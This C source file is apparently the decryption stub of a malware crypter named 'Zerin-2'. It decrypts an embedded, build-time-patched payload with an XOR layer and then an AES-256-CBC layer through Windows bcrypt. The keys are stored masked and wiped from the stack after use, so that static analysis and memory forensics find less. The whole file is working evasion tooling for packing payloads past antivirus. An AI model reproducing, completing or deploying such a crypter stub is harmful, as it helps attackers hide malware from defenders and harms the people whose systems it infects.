Zerin-2/crypter_stubs/decrypt_layer.c

/**
 * decrypt_layer.c — XOR + AES-256-CBC decryption using bcrypt.dll
 *
 * Layered decryption:
 *   1. XOR decrypt with embedded 32-byte key
 *   2. AES-256-CBC decrypt via Windows CNG (bcrypt.dll)
 *
 * Keys, IV, and payload are patched in by the crypter engine at build time.
 */

#include <windows.h>
#include <bcrypt.h>
#include <stdint.h>
#include <string.h>

#pragma comment(lib, "bcrypt")

/* ── Patched at build time (keys XOR'd with per-build mask) ───────── */

/* CRYPTER_KEY_MASK_PLACEHOLDER */
static const uint8_t KEY_MASK[32] = { 0 };

/* CRYPTER_XOR_KEY_ENC_PLACEHOLDER */
static const uint8_t XOR_KEY_ENC[32] = { 0 };

/* CRYPTER_AES_KEY_ENC_PLACEHOLDER */
static const uint8_t AES_KEY_ENC[32] = { 0 };

/* CRYPTER_AES_IV_ENC_PLACEHOLDER */
static const uint8_t AES_IV_ENC[16] = { 0 };

/* CRYPTER_PAYLOAD_PLACEHOLDER */
static const uint8_t ENCRYPTED_PAYLOAD[] = { 0 };

/* CRYPTER_PAYLOAD_LEN_PLACEHOLDER */
static const uint32_t PAYLOAD_LEN = 0;

/* ── XOR layer ─────────────────────────────────────────────────────── */

static void xor_decrypt(uint8_t *data, uint32_t len, const uint8_t *key, uint32_t key_len) {
    for (uint32_t i = 0; i < len; i++) {
        data[i] ^= key[i % key_len];
    }
}

/* ── AES-256-CBC layer (CNG) ───────────────────────────────────────── */

static int aes_decrypt(const uint8_t *ciphertext, uint32_t ct_len,
                       const uint8_t *key, const uint8_t *iv,
                       uint8_t *plaintext, uint32_t *pt_len) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    NTSTATUS status;
    ULONG result_len = 0;
    DWORD key_obj_size = 0;
    ULONG data_size = 0;
    uint8_t *key_obj = NULL;
    uint8_t iv_copy[16];
    int ret = 0;

    /* Open AES provider */
    status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    if (!BCRYPT_SUCCESS(status)) return 0;

    /* Set CBC mode */
    status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                               (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
                               sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
    if (!BCRYPT_SUCCESS(status)) goto cleanup;

    /* Get key object size */
    status = BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
                               (PUCHAR)&key_obj_size, sizeof(key_obj_size),
                               &data_size, 0);
    if (!BCRYPT_SUCCESS(status)) goto cleanup;

    key_obj = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, key_obj_size);
    if (!key_obj) goto cleanup;

    /* Generate symmetric key */
    status = BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_size,
                                        (PUCHAR)key, 32, 0);
    if (!BCRYPT_SUCCESS(status)) goto cleanup;

    /* BCryptDecrypt modifies the IV buffer in-place, so copy it */
    memcpy(iv_copy, iv, 16);

    /* Decrypt */
    status = BCryptDecrypt(hKey, (PUCHAR)ciphertext, ct_len, NULL,
                           iv_copy, 16, plaintext, ct_len, &result_len, BCRYPT_BLOCK_PADDING);
    if (!BCRYPT_SUCCESS(status)) goto cleanup;

    *pt_len = result_len;
    ret = 1;

cleanup:
    if (hKey) BCryptDestroyKey(hKey);
    if (key_obj) HeapFree(GetProcessHeap(), 0, key_obj);
    if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
    return ret;
}

/* ── Public API ────────────────────────────────────────────────────── */

/**
 * Derive a key by XOR'ing encrypted key with mask. Operates on the stack.
 */
static void derive_key(uint8_t *out, const uint8_t *enc, const uint8_t *mask, uint32_t len) {
    for (uint32_t i = 0; i < len; i++) {
        out[i] = enc[i] ^ mask[i % 32];
    }
}

/**
 * Decrypt the embedded payload. Caller must HeapFree the returned buffer.
 * Returns NULL on failure.
 */
uint8_t *decrypt_payload(uint32_t *out_len) {
    /* Derive keys on the stack from masked storage */
    volatile uint8_t xor_key[32];
    volatile uint8_t aes_key[32];
    volatile uint8_t aes_iv[16];

    derive_key((uint8_t *)xor_key, XOR_KEY_ENC, KEY_MASK, 32);
    derive_key((uint8_t *)aes_key, AES_KEY_ENC, KEY_MASK, 32);
    derive_key((uint8_t *)aes_iv,  AES_IV_ENC,  KEY_MASK, 16);

    /* Copy encrypted payload to writable buffer for XOR pass */
    uint32_t enc_len = PAYLOAD_LEN;
    uint8_t *buf = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
    if (!buf) goto wipe_keys;
    memcpy(buf, ENCRYPTED_PAYLOAD, enc_len);

    /* Layer 1: XOR */
    xor_decrypt(buf, enc_len, (const uint8_t *)xor_key, 32);

    /* Layer 2: AES-256-CBC */
    uint8_t *plaintext = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
    if (!plaintext) {
        HeapFree(GetProcessHeap(), 0, buf);
        goto wipe_keys;
    }

    uint32_t pt_len = 0;
    if (!aes_decrypt(buf, enc_len, (const uint8_t *)aes_key, (const uint8_t *)aes_iv, plaintext, &pt_len)) {
        HeapFree(GetProcessHeap(), 0, buf);
        HeapFree(GetProcessHeap(), 0, plaintext);
        goto wipe_keys;
    }

    HeapFree(GetProcessHeap(), 0, buf);

    /* Wipe derived keys from stack */
    SecureZeroMemory((void *)xor_key, 32);
    SecureZeroMemory((void *)aes_key, 32);
    SecureZeroMemory((void *)aes_iv,  16);

    *out_len = pt_len;
    return plaintext;

wipe_keys:
    SecureZeroMemory((void *)xor_key, 32);
    SecureZeroMemory((void *)aes_key, 32);
    SecureZeroMemory((void *)aes_iv,  16);
    return NULL;
}